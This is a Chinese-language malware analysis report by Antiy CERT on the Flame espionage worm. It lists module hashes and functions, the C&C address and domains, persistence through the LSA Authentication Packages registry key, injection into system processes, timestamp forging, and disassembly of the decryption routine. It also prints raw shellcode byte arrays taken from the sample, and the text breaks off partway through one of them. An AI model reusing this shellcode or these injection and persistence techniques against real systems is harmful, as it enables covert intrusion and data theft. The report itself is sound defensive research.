Flame蠕虫样本集分析报告
安天安全研究与应急处理中心(Antiy CERT)
首次发布时间:2012年5月31日
本版本更新时间:2012年8月17日
分析小组絮语
在我们工作的经历中还从没出现过这样的情况,一个分析小团队接近一个月的时间里,只面对一个恶意代码,并且还计划把工作继续下去,尽管在Stuxnet蠕虫中,我们尝试这样做过,但小组只工作了不到10天的时间,便浅尝辄止了。我们自陆续对Stuxnet、Duqu和Flame进行分析以来,我们逐渐的发现作为传统的AVER,在面对挑战和变革时传统的方法必须被打破。
传统的恶意代码主要目的为感染更多的计算机,后期演化成利益链条,所以其开发简单直接,功能明确,他们往往采用单体的文件,尽量减小体积以利于可靠传播,因此对其进行分析也相对容易。从另一个意义上说,地下经济虽然催生了类似Trojan、Bot等的爆发,但并没有影响到攻守双方的平衡,反病毒团队依托捕获体系和后端的自动化分析平台,几乎所有的反病毒厂商都能在很少的人工分析的工作支持下,应对海量的恶意代码。甚至仅凭自动化系统,在无人值守的情况下,新的检测规则同样可以从新的样本被提取出来,并分发给反病毒产品。因此我们滋长了惰性,过多的依赖沙箱和其他的自动化环节,甚至我们一度以为病毒分析工程师的使命正在被淡化和消亡。
而今天在面对Stuxnet、Flame等病毒时,一切不同了,用户更多询问我们的不是“如何发现、你的产品能不能杀掉”,而是“他到底干了什么?”、“我如何避免今后类似的攻击?”这些都让我们必须从分析流水线的操纵者,重新变回贴身肉搏的战士,我们需要回到短兵相接的现场勘察、环境复现和深入细腻的后端分析中。
Flame的文件数量和总体大小都是令人震撼的,与之前我们看到的APT场景下的恶意代码一样,类似样本采用模块化,框架化开发,结构复杂,文件较多,但Flame几乎达到了难以想象的程度。其模块分工亦导致了其隐蔽性较好,躲避杀软的能力较高。并且内部封装了各种加密模块来隐藏重要信息。这些体积庞大结构复杂的恶意代码在APT攻击中扮演着精密的任务,其对环境特征的监察非常准确,如果发现环境信息不符合其感染的目的则直接退出,并完全清除痕迹,这种样本不会大规模爆发,依托大量配置信息和远程调度完成工作,在被发现时一般目的已经达成。我们习惯性的分析单体病毒样本,依托自动化分析结果和少量的反汇编,包括那些在分析报告之前,加一个带有HASH值的样本标签的习惯工作思路,应对这种复杂的局面时,都显得那样的幼稚和过时。
因此面对这么多的样本和衍生文件,我们最终选择了蚂蚁搬家的方法,小组每人分工分析不同的模块,并把分析结果随手记录下来,我们不指望最终有一篇巨大的研究报告,而是能把这些点滴集合起来,为应对这种攻击提供一些研究基础。小组内有两条线路,一是主模块分析,主模块文件体积有6MB多,分析时投入的时间较多。主要对其加密算法、字符串信息、整体结构等方面进行分析。二是其它模块功能分析,在分析模块功能时发现部分模块具有相同的功能如:收集信息、遍历进程、屏幕窃取等。在分析过程中我们还在内存中发现很多有意思的信息,但我们依然陷于“猜谜”之中。
我们在后续会继续我们的工作,并力图把更多结果,更新到这份报告之上。在一段时间内,能够持续去做一件有意义的事,是幸福的,特别是与伙伴在一起做的时候。
安天实验室安全研究与应急处理中心
Pluck、Sky、White、Pillcor
2012.07.31
1 事件背景
安天实验室于2012年5 月28 日起陆续捕获到Flame蠕虫的样本,截止到目前安天已经累计捕获Flame蠕虫主文件的变种数6个,其它模块为20多个不同HASH值的样本实体,并通过这些样本进一步生成了其他的衍生文件。安天成立了专门的分析小组,经过持续分析,发现它是采用多模块化复杂结构实现的信息窃取类型的恶意软件。其主模块文件大小超过6MB。包含了大量加密数据、内嵌开源软件代码(如Lua等)、漏洞攻击代码、模块配置文件、多种加密压缩算法,信息盗取等多种模块。在漏洞攻击模块中发现了Stuxnet使用过的USB攻击模块,Stuxnet事件是发生在2010年针对伊朗核设施的APT攻击事件[1]。
据外界现有分析,该恶意软件已经非常谨慎地运作了至少两年时间[2],它不但能够窃取文件,对用户系统进行截屏,通过USB传播禁用安全厂商的安全产品,并可以在一定条件下传播到其他系统,还有可能利用微软Windows系统的已知或已修补的漏洞发动攻击,进而在某个网络中大肆传播。
目前业内各厂商对该蠕虫的评价如下:McAfee认为此威胁是Stuxnet和Duqu攻击的继续[3];卡巴斯基实验室则认为Flame攻击是目前发现的最为复杂的攻击之一[4],它是一种后门木马并具有蠕虫的特征。赛门铁克认为,Flame与之前两种威胁Stuxnet和Duqu一样,其代码非一人所为,而是由一个有组织、有资金支持并有明确方向性的网络犯罪团体所编写。
2 Flame蠕虫文件信息
表 2-1现有Flame蠕虫PE文件与功能一览表
文件名
|
文件MD5与大小
|
功能
|
mssecmgr.ocx
|
b51424138d72d343f22d03438fc9ced5 (1,236,992字节)
0a17040c18a6646d485bde9ce899789f (6,172,160字节)
ee4b589a7b5d56ada10d9a15f81dada9 (892,417字节)
e5a49547191e16b0a69f633e16b96560 (6,166,528字节)
bdc9e04388bda8527b398a8c34667e18
(1,236,992字节)
37c97c908706969b2e3addf70b68dc13 (391,168 字节)
|
主模块运行后会将其资源文件中的多个功能模块解密释放出来,并将它们注入到多个系统 进程中。它通过调用Lua来执行脚本完成指定功能。
|
advnetcfg.ocx
|
f0a654f7c485ae195ccf81a72fe083a2 (643,072 字节)
8ed3846d189c51c6a0d69bdc4e66c1a5 (421,888 字节)
bb5441af1e1741fca600e9c433cb1550 (643,944 字节)
|
由主模块释放:截取屏幕信息。
|
msglu32.ocx
|
d53b39fb50841ff163f6e9cfd8b52c2e (1,721,856 字节)
2512321f27a05344867f381f632277d8 (1,729,536 字节)
|
由主模块释放:遍历系统中的各种类型的文件,读取特定文件类型文件的信息,将其写入到SQL数据库中,同时也可以收集文件中与地域性相关的一些信息。
|
nteps32.ocx
|
c9e00c9d94d1a790d5923b050b0bd741
(827,392 字节)
e66e6dd6c41ece3566f759f7b4ebfa2d (602,112 字节)
5ecad23b3ae7365a25b11d4d608adffd (827,392 字节)
|
由主模块释放:用来键盘记录和截取屏幕信息。对一些邮件域名进行监控。
|
rpcns4.ocx
(soapr32.ocx)
|
296e04abb00ea5f18ba021c34e486746 (160,768 字节)
1f9f0baa3ab56d72daab024936fdcaf3 (188,416 字节)
cc54006c114d51ec47c173baea51213d (253,952 字节)
e6cb7c89a0cae27defa0fd06952791b2 (349,596 字节)
|
用来收集信息的功能模块。获取系统中的一些信息,例如:安装的软件信息、网络信息、无线网络信息、USB信息、时间以及时区信息等。
|
comspol32.ocx
|
20732c97ef66dd97389e219fc0182cb5 (634,880 字节)
|
分析中。
|
00004784.dll
(jimmy.dll)
|
ec992e35e794947a17804451f2a8857e (483,328 字节)
|
是用来收集用户计算机信息,包括窗体标题、注册表相关键值信息、计算机名,磁盘类型等。
|
wusetupv.exe
|
1f61d280067e2564999cac20e386041c (29,928 字节)
|
收集本机各个接口的信息、进程信息,注册表键值信息等。
|
DSMGR.DLL
(browse32.ocx)
|
2afaab2840e4ba6af0e5fa744cd8f41f (116,224 字节)
7d49d4a9d7f0954a970d02e5e1d85b6b(458,869 字节)
|
用来删除恶意软件所有痕迹,防止取证分析。
|
boot32drv.sys(00004069.exe)
|
06a84ad28bbc9365eb9e08c697555154(49,152 字节)
|
它是一个加密数据文件并不是PE文件,加密方式是通过与0xFF做xor操作。
|
表 2-2Flame蠕虫所有衍生文件和其它文件列表
Ef_trace.log
|
dstrlog.dat
|
mscorest.dat
|
soapr32.ocx
|
winrt32.dll
|
GRb9M2.bat
|
dstrlogh.dat
|
mscrypt.dat
|
srcache.dat
|
winrt32.ocx
|
Lncache.dat
|
fmpidx.bin
|
msglu32.ocx
|
sstab.dat
|
wpab32.bat
|
Temp~mso2a0.tmp
|
indsvc32.dll
|
mspovst.dat
|
sstab0.dat
|
wpgfilter.dat
|
Temp~mso2a1.tmp
|
indsvc32.ocx
|
mssui.drv
|
sstab1.dat
|
~8C5FF6C.tmp
|
Temp~mso2a2.tmp
|
lmcache.dat
|
mssvc32.ocx
|
sstab10.dat
|
~DF05AC8.tmp
|
advnetcfg.ocx
|
ltcache.dat
|
nt2cache.dat
|
sstab11.dat
|
~DFD85D3.tmp
|
advpck.dat
|
m3aaux.dat
|
ntaps.dat
|
sstab12.dat
|
~DFL543.tmp
|
audfilter.dat
|
m3afilter.dat
|
ntcache.dat
|
sstab15.dat
|
~DFL544.tmp
|
authcfg.dat
|
m3asound.dat
|
nteps32.ocx
|
sstab2.dat
|
~DFL546.tmp
|
authpack.ocx
|
m4aaux.dat
|
pcldrvx.ocx
|
sstab3.dat
|
~HLV084.tmp
|
boot32drv.sys
|
m4afilter.dat
|
posttab.bin
|
sstab4.dat
|
~HLV294.tmp
|
ccalc32.sys
|
m4asound.dat
|
qpgaaux.dat
|
sstab5.dat
|
~HLV473.tmp
|
commgr32.dll
|
m5aaux.dat
|
rccache.dat
|
sstab6.dat
|
~HLV751.tmp
|
comspol32.dll
|
m5afilter.dat
|
rpcnc.dat
|
sstab7.dat
|
~HLV927.tmp
|
comspol32.ocx
|
m5asound.dat
|
scaud32.exe
|
sstab8.dat
|
~KWI988.tmp
|
ctrllist.dat
|
mixercfg.dat
|
scsec32.exe
|
sstab9.dat
|
~KWI989.tmp
|
dmmsap.dat
|
mixerdef.dat
|
sdclt32.exe
|
syscache.dat
|
~TFL848.tmp
|
domm.dat
|
mlcache.dat
|
secindex.dat
|
syscache3.dat
|
~TFL849.tmp
|
domm2.dat
|
modevga.com
|
sndmix.drv
|
watchxb.sys
|
~ZFF042.tmp
|
domm3.dat
|
mpgaaux.dat
|
mscorest.dat
|
wavesup3.drv
|
~a28.tmp
|
dommt.dat
|
mpgaud.dat
|
mscrypt.dat
|
winconf32.ocx
|
~a38.tmp
|
~dra51.tmp
|
~dra52.tmp
|
~dra53.tmp
|
~dra61.tmp
|
~rei524.tmp
|
~rei525.tmp
|
~rf288.tmp
|
|
|
|
3功能分析
3.1 MSSECMGR.OCX主模块分析
蠕虫主模块是一个文件名为mssecmgr.ocx的DLL文件,我们发现该模块已有多个衍生版本,文件大小为6M,运行后会连接C&C服务器,并试图下载或更新其它模块。主模块不同时期在被感染的机器上文件名有不同,但扩展名都为“OCX”。运行后的主模块会将其资源文件中的多个功能模块解密释放出来,并将多个功能模块注入到多个进程中,功能模块具有获取进程信息、键盘信息、硬件信息、屏幕信息、麦克风、存储设备、网络、WIFI、蓝牙、USB等多种信息的功能。所记录的信息文件存放在%Windir%\temp\下。该蠕虫会先对被感染系统进行勘察,如果不是其想要的攻击对象,它将会自动从被感染系统卸载掉。蠕虫最有可能是通过欺骗微软升级服务器对本地网络传播和通过一个USB接入设备进行传播。蠕虫还能够发现有关其周边设备的信息。通过蓝牙装置,它会寻找其它设备,比如手机或笔记本电脑等。此蠕虫和以往蠕虫有很大程度上的不同,首先主模块体积很大,并包含多个功能模块,内嵌Lua解释器和大量Lua脚本,进行高层的功能扩展。启动方式比较特殊,具有多种压缩和加密方式。
本地行为注:该键值会达到开机加载mssecmgr.ocx的目的。该文件路径为:%system32%\mssecmgr.ocx。
通过对“146”资源进行释放并加载运行,以下为资源释放的模块:
文件
|
MD5
|
%System32%\advnetcfg.ocx
|
BB5441AF1E1741FCA600E9C433CB1550
|
%System32%\boot32drv.sys
|
C81D037B723ADC43E3EE17B1EEE9D6CC
|
%System32%\msglu32.ocx
|
D53B39FB50841FF163F6E9CFD8B52C2E
|
%Syste32m%\nteps32.ocx
|
C9E00C9D94D1A790D5923B050B0BD741
|
%Syste32m%\soapr32.ocx
|
296E04ABB00EA5F18BA021C34E486746
|
%Syste32m%\ccalc32.sys
|
5AD73D2E4E33BB84155EE4B35FBEFC2B
|
其它文件:
在%ProgramFiles%\Common Files\Microsoft Shared\MSAudio目录下为各模块的配置信息和自身副本文件,从网络中更新或下载新模块配置也会在这里,列表如下:
在分析过程中发现以上文件可能为病毒的配置文件,当病毒要进行一个操作前先读取此文件中的一块信息,然后完成其指定的操作。病毒先将以上文件释放然后删除一次,最后又重新释放,推测为不同功能之间的重复操作导致。
根据“146”资源配置还可能会存在以下文件目录:
关于遍历安全进程列表内容参见附录一(详见附录一:为Mssecmgr.ocx文件中的遍历安全进程列表,其列表和其它模块中的一些遍历进程列表中一些进程是相同的。)
访问地址1:http://windowsuate.microsoft.com/
访问地址2:http://windowsupdate.microsoft.com/windowsupdate/v6/default.aspx
协议:Http
端口:80
访问地址:91.135.66.118[traffic-spot.com][traffic-spot.biz][smart-access.net][quick-net.info]
协议:Https
端口:443
病毒运行后,首先访问Windows系统升级服务器地址,然后对IP地址为91.135.66.118的四个域名进行访问,并回传数据。
图 3-1 Post数据
连接所有的域名信息参加附录二(附录二:连接所有域名列表)。
样本文件启动加载顺序
图 3-2文件启动加载顺序
该病毒的加载方式有两种,一种是在注册表中添加键值,另一种是利用批处理文件来执行DOS命令运行Rundll32.exe加载主模块运行。
首先查询注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SeCEdit和查看%Program Files%\Common Files\Microsoft Shared\MSAudio\wavesup3.drv文件是否存在。写入HKLM\System\CurrentControlSet\Control\TimeZoneInformation\StandardSize值为:114。
创建MSSecurityMgr目录,写入文件Mscrypt.dat,在查询信息文件时每查询后会把更改时间写成1601-1-1 08:00:00,经过1分钟后写入Wpgfilter.dat文件在查询信息文件时每查询后会把更改时间写成1601-1-1 08:00:00,经过1分钟左右后写入Wavesup3.drv文件查询后会把更改时间写成1601-1-1 08:00:00,写入文件Wavesup3.drv后会写入Audcache文件接着写入Audfilter.dat文件。然后查找以下文件:
然后注入进程Services.exe调用系统文件Shell32.dll文件,并劫持Shell32.dll内容,把Wpgfilter.dat的内容加载到Shell32.dll中,再加载Audcache文件内容到Shell32.dll中。再加载Wavesup3.drv文件,然后释放Neps32.exe文件、Comspol32.ocx、Advnetcfg.ocx、Boot32drv.sys、Msglu32.ocx,并将它们的时间改为Kernel32.dll文件的时间,为了躲避安全软件的检测。
然后注入到Winlogon.exe进程中调用系统文件Shell32.dll文件,并劫持Shell32.dll内容,把Netps32.ocx和Ccalc32.sys的内容加载到Shell32.dll中。并将它们的时间改为Kernel32.dll文件的时间,为了躲避安全软件的检测。
通过注入Explore.exe进程调用系统文件Shell32.dll文件,并劫持Shell32.dll内容,并使其创建Iexplore.exe进程,把Wpgfilter.dat的内容加载到Shell32.dll中,然后再加载Audcache文件内容到Shell32.dll中。几分钟后加载Wavesup3.drv文件。查询注册表系统服务项,连接微软升级服务器,然后再连接病毒服务器。
程序中大量数据被加密。加密算法代码位置如下:
0x1000E3F5 proc near
test edx, edx
push esi
mov esi, eax
jbe short 0x1000E42F
push ebx
push edi
push 0Bh
pop edi
sub edi, esi
0x1000E403:
lea ecx, [edi+esi]
lea eax, [ecx+0Ch]
imul eax, ecx
add eax, dword_10376F70
mov ecx, eax
shr ecx, 18h
mov ebx, eax
shr ebx, 10h
xor cl, bl
mov ebx, eax
shr ebx, 8
xor cl, bl
xor cl, al
sub [esi], cl
inc esi
dec edx
jnz short 0x1000E403
pop edi
pop ebx
0x1000E42F:
pop esi
retn
0x1000E3F5 endp
对该函数的调用有2个函数。分别位置如下:
1000E451 movzx edx, word ptr [ebx+9]
1000E455 lea eax, [ebx+0Bh]
1000E458 mov [ebp+8], eax
1000E45B call 0x1000E3F5
1000E498 movzx edx, word ptr [esi+12h]
1000E49C lea ebx, [esi+14h]
1000E49F mov eax, ebx
1000E4A1 call 0x1000E3F5
解密算法说明:
函数有两个参数:edx [解密字符串长度],eax[解密字符串的起始地址]
返回值:eax[解密后字符串的起始地址]
解密算法:
ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x10376F70h]
注意:n是要解密的字符距起始字符的距离.
CL=(M1)xor(M2)xor(M3)xor(M4)
解密数据 = 加密数据 – CL
第一次调用:
函数有一个参数:arg.1[地址]
解密字符串长度:[word]arg.1+0x9h
解密字符串起始地址:[dword]arg.1+0xBh
返回值: 解密后字符串的起始地址
第二次调用:
函数有一个参数:arg.1[address]
解密字符串长度: [word]arg.1+0x12h
解密字符串起始地址: [dword]arg.1+0x14h
返回值: 解密后字符串的起始地址
对该病毒的调试过程中发现其将所有的指针通过函数EncodePointer进行编码后存储到内部结构中(这也与Duqu的实现方式类似),当使用时再调用DecodePointer解码使用,这样做会使对其静态分析变得极其困难。这个病毒使用了通过获取系统dll文件的导出函数表并循环查找指定函数的方法来动态获取函数地址,此方法是恶意代码的惯用手段,详见代码。
mov eax, [ebp-4]
mov eax, [esi+eax*4] //export func name offset
add eax, [ebp+module_handle]
push [ebp+func_name_size]
mov [ebp+export_func_name], eax
push eax
call IsBadReadPtr
test eax, eax
jnz 0x1000BE19
push [ebp+func_name]
push [ebp+export_func_name]
call lstrcmpiA
test eax, eax
jz short 0x1000BE2B
图 3-3动态获取指定Dll文件中的函数
该恶意代码在系统路径%ProgramFiles%\Common Files\Microsoft Shared下创建MSSecurityMgr文件夹,并将一些配置文件保存到此目录中。恶意代码会在进程环境变量中保存系统关键目录(WINDOWS目录、SYSTEM32目录、系统临时目录)和自身程序的文件路径。并通过文件查找的API函数来寻找Kernel32.dll文件,并将恶意代码所创建的文件或文件夹的时间设置为与Kernel32.dll文件相同。起到隐藏痕迹的目的。
该恶意代码先将自身复制为%System32%\mssecmgr.ocx。再通过修改注册表达到启动目的,修改的注册表键值为:
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”
下的“Authentication Packages”。将其值中追加病毒的模块名如图5。此注册表键值的作用是列出了用户身份验证程序包,当用户登录到系统时加载并调用[5]。从而达到开机启动的目的。
图 3-4修改的注册表键值
病毒通过遍历进程来查找Explorer.exe进程并通过WriteProcessMemory将Shell Code写入到Explorer.exe进程中。并且通过CreateRemoteTheread 函数创建远程线程执行ShellCode。
调试发现加密数据,并将其释放到指定目录下。
C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\mscrypt.dat
此模块中的数据应为配置数据
分析程序的进程操作行为
程序利用OpenProcess打开services.exe进程,句柄为0x174
通过函数WriteProcessMemory向Services.exe进程写入Shellcode,这也是恶意代码的惯用手法,存在明显恶意行为的代码注入到系统进程中执行,以躲避杀软查杀。
Sehll Code内容,长度为0x82
0x55,0x8B,0xEC,0x51,0x53,0x56,0x57,0x33,0xFF,0x89,0x7D,0xFC,0xE8,0x00,0x00,0x00,
0x00,0x58,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x6A,0x64,0x59,0x48,0x49,0x89,0x45,0xFC,
0x74,0x5B,0x81,0x38,0xBA,0xBA,0x0D,0xF0,0x75,0xF1,0x8D,0x70,0x04,0x8B,0x0E,0x6A,
0xFF,0xFF,0x31,0x8B,0xD8,0xFF,0x50,0x08,0x85,0xC0,0x75,0x2C,0x8B,0x06,0x83,0x7C,
0x07,0x0C,0x00,0x74,0x0E,0xFF,0x75,0x10,0x03,0xC7,0xFF,0x75,0x0C,0xFF,0x70,0x08,
0xFF,0x50,0x0C,0x81,0xC7,0x20,0x02,0x00,0x00,0x81,0xFF,0x00,0x55,0x00,0x00,0x72,
0xDB,0x8B,0x06,0xFF,0x30,0xFF,0x53,0x0C,0xFF,0x75,0x10,0x8B,0x06,0xFF,0x75,0x0C,
0xFF,0x75,0x08,0xFF,0x50,0x04,0x5F,0x5E,0x5B,0xC9,0xC2,0x0C,0x00,0x33,0xC0,0x40,
0xEB,0xF4
第二段Shell Code会被后面创建的远程线程直接执行。
ShellCode内容,长度为0x70c
0x55,0x8B,0xEC,0x83,0xEC,0x70,0x53,0x33,0xDB,0x56,0x8B,0x75,0x08,0x57,0x33,0xC0,
0x89,0x5D,0xA8,0x8D,0x7D,0xAC,0xAB,0xAB,0x8D,0x86,0x74,0x04,0x00,0x00,0x50,0xC6,
0x45,0xFA,0x00,0x89,0x5D,0xE8,0x88,0x5D,0xFB,0x89,0x5D,0xE4,0x89,0x5D,0xEC,0x89,
0x5D,0xC8,0x89,0x5D,0xD0,0x89,0x5D,0xD4,0x89,0x5D,0xBC,0x89,0x5D,0xC4,0x89,0x5D,
0xE0,0x89,0x5D,0xDC,0xC7,0x45,0xF0,0x01,0x00,0xFF,0xFF,0x89,0x9E,0x2C,0x0B,0x00,
0x00,0xFF,0x56,0x10,0x3B,0xC3,0x89,0x45,0xC0,0x75,0x0A,0xB8,0x02,0x00,0xFF,0xFF,
0xE9,0xA0,0x06,0x00,0x00,0x8D,0x86,0x81,0x04,0x00,0x00,0x50,0xFF,0x75,0xC0,0xFF,
0x56,0x1C,0x3B,0xC3,0x75,0x0A,0xB8,0x03,0x00,0xFF,0xFF,0xE9,0x85,0x06,0x00,0x00,
0x53,0x8D,0x4D,0xDC,0x51,0x6A,0x01,0x8D,0x8E,0xB6,0x04,0x00,0x00,0x51,0xFF,0xD0,
0x85,0xC0,0x75,0x0A,0xB8,0x04,0x00,0xFF,0xFF,0xE9,0x67,0x06,0x00,0x00,0x8B,0x45,
0xDC,0x89,0x45,0xAC,0x8D,0x86,0x30,0x0B,0x00,0x00,0x8B,0x78,0x3C,0x03,0xF8,0xC7,
0x45,0xA8,0x0C,0x00,0x00,0x00,0x89,0x5D,0xB0,0x0F,0xB7,0x47,0x14,0x8D,0x44,0x38,
0x18,0x89,0x45,0xCC,0x8B,0x47,0x08,0x25,0x07,0xF8,0xFF,0xFF,0x05,0x00,0x00,0x90,
0xD6,0x3D,0x00,0x00,0x00,0x06,0x0F,0x87,0x24,0x06,0x00,0x00,0x38,0x9E,0x20,0x09,
0x00,0x00,0x8B,0x47,0x50,0x89,0x45,0x08,0x74,0x67,0x53,0x53,0x6A,0x03,0x53,0x6A,
0x01,0x68,0x00,0x00,0x00,0x80,0x8D,0x86,0x22,0x09,0x00,0x00,0x50,0xFF,0x56,0x50,
0x83,0xF8,0xFF,0x89,0x45,0xF4,0x75,0x0A,0xB8,0x06,0x00,0xFF,0xFF,0xE9,0xF3,0x05,
0x00,0x00,0x53,0xFF,0x75,0x08,0x53,0x68,0x02,0x00,0x00,0x01,0x53,0x50,0xFF,0x56,
0x28,0xFF,0x75,0xF4,0x89,0x45,0xD8,0xFF,0x56,0x4C,0x39,0x5D,0xD8,0x75,0x0A,0xB8,
0x07,0x00,0xFF,0xFF,0xE9,0xCC,0x05,0x00,0x00,0xFF,0x75,0x08,0x53,0x53,0x6A,0x04,
0xFF,0x75,0xD8,0xFF,0x56,0x30,0xFF,0x75,0xD8,0x89,0x45,0xF4,0xFF,0x56,0x4C,0xEB,
0x0F,0x6A,0x04,0x68,0x00,0x10,0x00,0x00,0x50,0x53,0xFF,0x56,0x04,0x89,0x45,0xF4,
0x39,0x5D,0xF4,0x75,0x0A,0xB8,0x08,0x00,0xFF,0xFF,0xE9,0x96,0x05,0x00,0x00,0x8D,
0x45,0xC4,0x50,0x6A,0x04,0xFF,0x75,0x08,0xFF,0x75,0xF4,0xFF,0x56,0x0C,0x85,0xC0,
0x75,0x0C,0xC7,0x45,0xF0,0x09,0x00,0xFF,0xFF,0xE9,0x8D,0x04,0x00,0x00,0xFF,0x77,
0x50,0x53,0xFF,0x75,0xF4,0xFF,0x56,0x24,0xFF,0x77,0x54,0x8D,0x86,0x30,0x0B,0x00,
0x00,0x50,0xFF,0x75,0xF4,0xFF,0x56,0x20,0x83,0xC4,0x18,0x66,0x39,0x5F,0x06,0x89,
0x5D,0x08,0x76,0x35,0x0F,0xB7,0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,
0xFF,0x70,0x10,0x8B,0x50,0x14,0x8B,0x40,0x0C,0x03,0x45,0xF4,0x8D,0x8E,0x30,0x0B,
0x00,0x00,0x03,0xD1,0x52,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0xFF,0x45,0x08,0x66,
0x8B,0x45,0x08,0x66,0x3B,0x47,0x06,0x72,0xCB,0x8B,0x45,0xF4,0x2B,0x47,0x34,0x89,
0x45,0xB8,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x87,0xA0,0x00,0x00,0x00,0x03,0x45,
0xF4,0x3B,0x45,0xF4,0x75,0x0C,0xC7,0x45,0xF0,0x0A,0x00,0xFF,0xFF,0xE9,0x09,0x04,
0x00,0x00,0x8B,0x8F,0xA4,0x00,0x00,0x00,0x03,0xC8,0x3B,0xC1,0x89,0x4D,0xB4,0x73,
0x61,0x8B,0x50,0x04,0x8B,0x08,0x03,0x4D,0xF4,0x83,0xEA,0x08,0xF7,0xC2,0xFE,0xFF,
0xFF,0xFF,0x89,0x5D,0x08,0x76,0x43,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,0x81,
0xE2,0xFF,0x0F,0x00,0x00,0x89,0x55,0xD8,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,
0x0F,0xB7,0xD2,0xC1,0xEA,0x0C,0x74,0x10,0x83,0xFA,0x03,0x75,0x3F,0x0F,0xB7,0x55,
0xD8,0x8B,0x5D,0xB8,0x03,0xD1,0x01,0x1A,0x8B,0x50,0x04,0xFF,0x45,0x08,0x83,0xEA,
0x08,0xD1,0xEA,0x33,0xDB,0x39,0x55,0x08,0x72,0xBD,0x03,0x40,0x04,0x3B,0x45,0xB4,
0x72,0x9F,0x8B,0x87,0x80,0x00,0x00,0x00,0x03,0x45,0xF4,0x3B,0x45,0xF4,0x75,0x18,
0xC7,0x45,0xF0,0x0C,0x00,0xFF,0xFF,0xE9,0x7F,0x03,0x00,0x00,0xC7,0x45,0xF0,0x0B,
0x00,0xFF,0xFF,0xE9,0x73,0x03,0x00,0x00,0x39,0x58,0x0C,0x0F,0x84,0x80,0x00,0x00,
0x00,0x83,0xC0,0x10,0x89,0x45,0x08,0x8B,0x45,0x08,0x83,0x38,0x00,0x74,0x70,0x83,
0x78,0xF4,0x00,0x0F,0x85,0xB9,0x00,0x00,0x00,0x8B,0x58,0xFC,0x03,0x5D,0xF4,0x53,
0xFF,0x56,0x18,0x85,0xC0,0x0F,0x84,0xB0,0x00,0x00,0x00,0x53,0xFF,0x56,0x10,0x85,
0xC0,0x89,0x45,0xD8,0x0F,0x84,0xAA,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x18,0x03,
0x5D,0xF4,0xEB,0x29,0x8B,0x03,0x85,0xC0,0x79,0x07,0x25,0xFF,0xFF,0x00,0x00,0xEB,
0x08,0x8B,0x4D,0xF4,0x03,0xC1,0x83,0xC0,0x02,0x50,0xFF,0x75,0xD8,0xFF,0x56,0x1C,
0x85,0xC0,0x89,0x03,0x0F,0x84,0x83,0x00,0x00,0x00,0x83,0xC3,0x04,0x83,0x3B,0x00,
0x75,0xD2,0x83,0x45,0x08,0x14,0x8B,0x45,0x08,0x83,0x78,0xFC,0x00,0x75,0x88,0x33,
0xDB,0x66,0x39,0x5F,0x06,0x89,0x5D,0x08,0x0F,0x86,0xBA,0x00,0x00,0x00,0x0F,0xB7,
0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,0x8B,0x48,0x24,0xF7,0xC1,0x20,
0x00,0x00,0x20,0x74,0x07,0xC7,0x45,0xC8,0x01,0x00,0x00,0x00,0x33,0xD2,0x42,0x85,
0xC9,0x79,0x03,0x89,0x55,0xD0,0xF7,0xC1,0x00,0x00,0x00,0x40,0x74,0x03,0x89,0x55,
0xD4,0x39,0x5D,0xC8,0x8B,0xCA,0x74,0x42,0x39,0x5D,0xD0,0x74,0x2E,0x6A,0x40,0x59,
0xEB,0x49,0xC7,0x45,0xF0,0x0D,0x00,0xFF,0xFF,0xEB,0x19,0xC7,0x45,0xF0,0x0E,0x00,
0xFF,0xFF,0xEB,0x10,0xC7,0x45,0xF0,0x0F,0x00,0xFF,0xFF,0xEB,0x07,0xC7,0x45,0xF0,
0x10,0x00,0xFF,0xFF,0x33,0xDB,0xE9,0x70,0x02,0x00,0x00,0x8B,0x4D,0xD4,0xF7,0xD9,
0x1B,0xC9,0x83,0xE1,0x10,0x83,0xC1,0x10,0xEB,0x11,0x39,0x5D,0xD4,0x74,0x0C,0x33,
0xC9,0x39,0x5D,0xD0,0x0F,0x95,0xC1,0x8D,0x4C,0x09,0x02,0x8B,0x50,0x08,0x8B,0x40,
0x0C,0x03,0x45,0xF4,0x89,0x55,0xB4,0x8D,0x55,0xC4,0x52,0x51,0xFF,0x75,0xB4,0x50,
0xFF,0x56,0x0C,0x85,0xC0,0x74,0x28,0xFF,0x45,0x08,0x66,0x8B,0x45,0x08,0x66,0x3B,
0x47,0x06,0x0F,0x82,0x46,0xFF,0xFF,0xFF,0x8B,0x7F,0x28,0x03,0x7D,0xF4,0x89,0x7D,
0xE0,0x75,0x18,0xC7,0x45,0xF0,0x12,0x00,0xFF,0xFF,0xE9,0x0C,0x02,0x00,0x00,0xC7,
0x45,0xF0,0x11,0x00,0xFF,0xFF,0xE9,0x00,0x02,0x00,0x00,0xFF,0xB6,0x1C,0x09,0x00,
0x00,0x33,0xFF,0x47,0x57,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0x3B,0xC7,0x74,0x14,0x53,
0x53,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0xC7,0x45,0xF0,0x13,0x00,0xFF,0xFF,0xE9,0xD8,
0x01,0x00,0x00,0x8D,0x86,0x6A,0x02,0x00,0x00,0x50,0x53,0x8D,0x45,0xA8,0x50,0x89,
0x7D,0xBC,0xFF,0x56,0x44,0x3B,0xC3,0x89,0x45,0xE8,0x75,0x0C,0xC7,0x45,0xF0,0x14,
0x00,0xFF,0xFF,0xE9,0xB3,0x01,0x00,0x00,0x6A,0xFF,0x50,0xFF,0x56,0x48,0x85,0xC0,
0x74,0x0C,0xC7,0x45,0xF0,0x15,0x00,0xFF,0xFF,0xE9,0x9D,0x01,0x00,0x00,0x8D,0x46,
0x60,0x50,0x53,0x68,0x1F,0x00,0x0F,0x00,0xC6,0x45,0xFB,0x01,0xFF,0x56,0x2C,0x3B,
0xC3,0x89,0x45,0xE4,0xC6,0x45,0x0B,0x00,0xBF,0x08,0x55,0x00,0x00,0x75,0x28,0x8D,
